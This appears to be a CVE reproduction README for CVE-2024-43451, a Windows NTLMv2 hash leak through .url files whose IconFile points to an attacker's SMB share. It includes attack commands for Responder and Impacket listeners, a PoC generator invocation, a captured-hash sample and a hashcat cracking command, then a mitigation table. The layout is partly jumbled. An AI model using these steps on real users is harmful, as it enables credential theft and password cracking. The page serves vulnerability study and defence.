
CVE Reproduction: cve-2024-43451-ntlm_hash_disclosure_reproduction
CVE-2024-43451 is an NTLMv2 hash disclosure spoofing vulnerability in Windows. It allows an unauthenticated remote attacker to leak a victim's NTLM hash by convincing them to interact with a malicious .url shortcut file. The vulnerability is triggered with minimal user interaction — merely right-clicking, deleting, or moving the file is sufficient to leak the hash. It carries a CVSS score of 6.5 (Medium) and has been actively exploited in the wild. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog.
NTLM (NT LAN Manager) is a challenge-response authentication protocol used by Windows. When a client attempts to access a resource via SMB, the client and server perform a handshake:
NEGOTIATE_MESSAGE containing supported capabilities.CHALLENGE_MESSAGE containing an 8-byte nonce (server challenge).AUTHENTICATE_MESSAGE containing the NTLMv2 hash — an HMAC-MD5 of the challenge combined with the user's password hash, username, and domain.If an attacker can observe or trigger an NTLM authentication attempt to a machine they control, the captured AUTHENTICATE_MESSAGE can be cracked offline to recover the plaintext password.
A .url file is a shortcut file used by Internet Explorer and Windows Explorer to store links. It is an INI-formatted file with an [InternetShortcut] section. The critical fields for exploitation are:
URL= — the target URL that Windows will open.IconFile= — an optional UNC path to an icon resource. When Windows Explorer renders the file, it automatically attempts to retrieve the icon from the remote share, triggering an NTLM authentication attempt to the attacker's server.The attacker crafts a .url file with an IconFile parameter pointing to \\attacker-ip\share\icon.ico. When the victim:
Windows Explorer attempts to load the icon from the UNC path, sending the victim's NTLMv2 hash to the attacker's SMB listener (e.g., Responder).
All supported versions of Windows prior to the November 2024 Patch Tuesday update:
| Tool | Description |
|---|---|
| Responder | LLMNR/NBT-NS/mDNS poisoner with built-in SMB server for hash capture |
| Impacket |
Using Responder:
sudo responder -I eth0 -v
Or using Impacket:
sudo impacket-smbserver share . -smb2support
python exploit.py --ip 192.168.1.100 --output malicious.url
Any of the following actions triggers the hash leak:
The attacker's SMB listener receives an NTLMv2 hash:
[SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt
# See exploit.py in this repository for a full PoC implementation.
# The script generates a .url file with IconFile set to:
# \\192.168.1.100\share\icon.ico
# and optionally a custom display icon via IconIndex.
smbserver.py can be used to host a simple SMB share |
| Inveigh | PowerShell-based NTLM capture tool for Windows |
| Mitigation | Description |
|---|
| Apply November 2024 Patch | Install Microsoft's security update from KB5044285 |
| Block outbound SMB (port 445) | Prevent NTLM hashes from leaving the network perimeter |
| Disable NTLM where possible | Use Kerberos-only authentication |
| Enable SMB signing | Prevents relay attacks even if hashes are captured |
| User awareness training | Educate users not to interact with unexpected .url files |
| Restrict .url file handling | Use Group Policy to block .url file execution or delivery via email |